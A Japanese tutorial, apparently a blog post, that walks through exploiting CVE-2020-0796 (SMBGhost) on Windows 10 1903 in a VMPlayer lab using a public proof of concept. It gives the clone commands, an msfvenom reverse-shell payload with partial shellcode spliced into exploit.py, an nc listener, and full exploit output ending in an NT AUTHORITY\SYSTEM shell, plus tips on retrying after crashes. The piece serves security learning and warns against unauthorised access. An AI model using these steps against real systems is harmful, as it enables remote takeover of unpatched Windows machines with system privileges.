@Chompie1337のSMBGhost_RCE_PoCの使用方法 （Windows不正アクセスPoC）

## はじめに
CVE-2020-0796はWindows10バージョン1903で発生したRCE（リモートコード実行）です。別名SMBGhostと呼ばれるTCPポート445への攻撃です。@chompie1337氏よりそのPoC(概念検証）がhttps://github.com/chompie1337/SMBGhost_RCE_PoC に公開されています。このスクリプトを使ってWindows10に侵入するための手順をまとめました。本記事にオリジナリティはありません。
## 条件
PoCを1台のWindowsマシンの中の仮想環境で実現します。***VirtualBoxではうまく動作しません***。VMPlayerを使ってください。VMPlayerで２つの仮想マシンを生成し、1台に攻撃側のKaliLinux、他方にWindows10(1903)をインストールします。isoの取得方法やインストール方法は省略します。
KaliLinuxマシンには２つのインタフェースを装備します。ひとつめeth0をNATとしてホストに接続します。IPアドレスはDHCPで取得します。他方のインタフェースeth1は内部ネットワーク（VMPlayerではLANセグメント1）に接続します。IPアドレスは192.168.9.1と手動割り当てします。
Windows10(1903)はインタフェースは1つだけで、LANセグメント1に接続します。IPアドレスは192.168.9.2と手動で割り当てます。これでWindowsはKaliLinuxのみへの接続です。
Windows側ではWindowsDefenderのファイヤウォールを停止しておきます。KaliLinux側からping 192.168.9.2で応答が返り、nmap -p445 192.168.9.2で攻撃対象ポートがオープンしていることが分かれば、ファイヤウォールは停止しています。
この状態で、nmapスクリプト cve-2020-0796.nseやSMBGhost用スキャナでWindows側に脆弱性が残っていることを確認しておきます。脆弱性有無の確認のためのスキャン手順は省略します。1903でもKB4551762が入っていると脆弱性は解消しています。
#### Tips
* Windows10.1903のISOはrufusというソフトウェアでダウンロードできます。詳細は省きますが、rufusのドロップダウンで19H1(Build18362.30)を選ぶとWin10_1903_V1_Japanese_x64.isoが取得できます。
* KaliLinuxには多くのセキュリティツールが搭載されているためISOファイルのダウンロードがファイヤウォールやセキュリティソフトウェアのリアルタイムスキャンで失敗することがあります。会社や学校のネットワークでは失敗しなくてもマークされている可能性が高いです。またISOのダウンロードに成功しても多くのソフトウェアはインストール時に追加ダウンロードします。ホストOSのセキュリティソフトによりVMへのISOインストールが失敗することがあります。セキュリティソフトを一時停止してもよいPCで実験してください。
* ホストOSのWindows側でWSL2を使っているとWindowsの仮想化機能が有効になっています。VMでKaliLinuxを起動するとX-Window起動直後にハングアップする場合には、Windowsの仮想マシンプラットフォームをOFFにしてWindowsを再起動してください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/135512/400e2c37-814f-96e6-8948-84782e769664.png)

## Reverse Shell Codeの生成と組み込み
まずKaliLinux側に@chompie1337氏のレポジトリをクローンしておきます。
```
$ git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
$ cd SMBGhost_RCE_PoC
```
KaliLinuxのMetasploitFrameworkでexploit.pyに組み込むユーザペイロード（リバースシェル）を生成します。リバースシェルを受け取るマシンはKaliLinuxとして以下のようにコマンドを投入します。
``` sh                                                                                            
┌──(hata㉿kaori)-[~/CVE-2020-0796/SMBGhost_RCE_PoC]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.9.1 LPORT=44444 -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of python file: 2247 bytes
buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
...途中省略...
buf += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59"
buf += b"\x41\x89\xda\xff\xd5"
```
このbufで始まる行のブロックを選択してクリップボードに入れておきます。そしてexploit.pyをコピーしたexploit_rev.pyをエディタで開き、USER_PAYLOADで始まる行ブロックを、このクリップボードの内容で置き換えます。そして張り付けたブロックの文字列bufをUSER_PAYLOADに置換して完了です。確認していませんが、不正侵入後にmeterpreterを使いたい場合にはwindows/x64/meterpreter/reverse_tcpやwindows/x64/meterpreter/bind_tcpのPAYLOADを埋め込みます。
## 実行
KaliLinux側でもう一つターミナルを開き、ポート44444で待ち受けておきます。
```
$ nc -lpv 44444
```
exploit_rev.pyのある場所で、侵入を実行します。
```sh
┌──(hata㉿kaori)-[~/CVE-2020-0796/SMBGhost_RCE_PoC]
└─$ python exploit_rev.py -ip 192.168.9.2
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7bf00000000
[+] found PML4 self-ref entry 163
[+] found HalpInterruptController at fffff7bf00001478
[+] found HalpApicRequestInterrupt at fffff8012ae0fbb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at ffffb1fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000950!
[+] Press a key to execute shellcode!<==ここで停止するのでキーボードを何か押す
[+] overwrote HalpInterruptController pointer, should have execution shortly...
┌──(hata㉿kaori)-[~/CVE-2020-0796/SMBGhost_RCE_PoC]
└─$
```
侵入に成功すればWindows側からncコマンド側にコネクションが張られてコマンドプロンプトが表示されます。whoamiコマンドを投入して、管理者権限が得られていることが分かります。
```
┌──(hata㉿kaori)-[~/CVE-2020-0796/SMBGhost_RCE_PoC]
└─$ nc -lvp 44444
listening on [any] 44444 ...
192.168.9.2: inverse host lookup failed: Unknown host
connect to [192.168.9.1] from (UNKNOWN) [192.168.9.2] 49671
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/135512/c0899564-6b47-4146-4ccf-acddd46a13bc.png)
## 注意
* ***PoCとして自分の管理するコンピュータで試してください。管理外のコンピュータへの、その管理者の意図しないアクセスは不正アクセス禁止法で禁止されています。また威力業務妨害罪・電子計算機損壊等業務妨害罪の可能性もあります。***
* VirtualBoxではexploit.pyが"physical read primitive failed"というエラーになります。
* VM Playerでは "physical read primitive failed"というエラーができることもありますが、再度試行すると成功します。
* Windows側がBSoD(ブルースクリーンでリブート）することがあります。この原因は不明ですが、Windows側の再起動を待って再度攻撃すると成功します。複数回BSoDが連続することもありますので、繰り返し攻撃を試行してみてください。
* 不正侵入中のshellはexitで終了できます。終了するとWindowsからKaliLinux側に張られていたTCPコネクションもクローズします。
* 不正侵入コードは1回しか動作しません。リバースシェルのTCPコネクションクローズ後、ncを再起動してexploit_rev.pyで再攻撃を仕掛けてみると、攻撃は成功したかのように見えますが、リモートコードが起動していないようでリバースシェルのコネクションが張られません。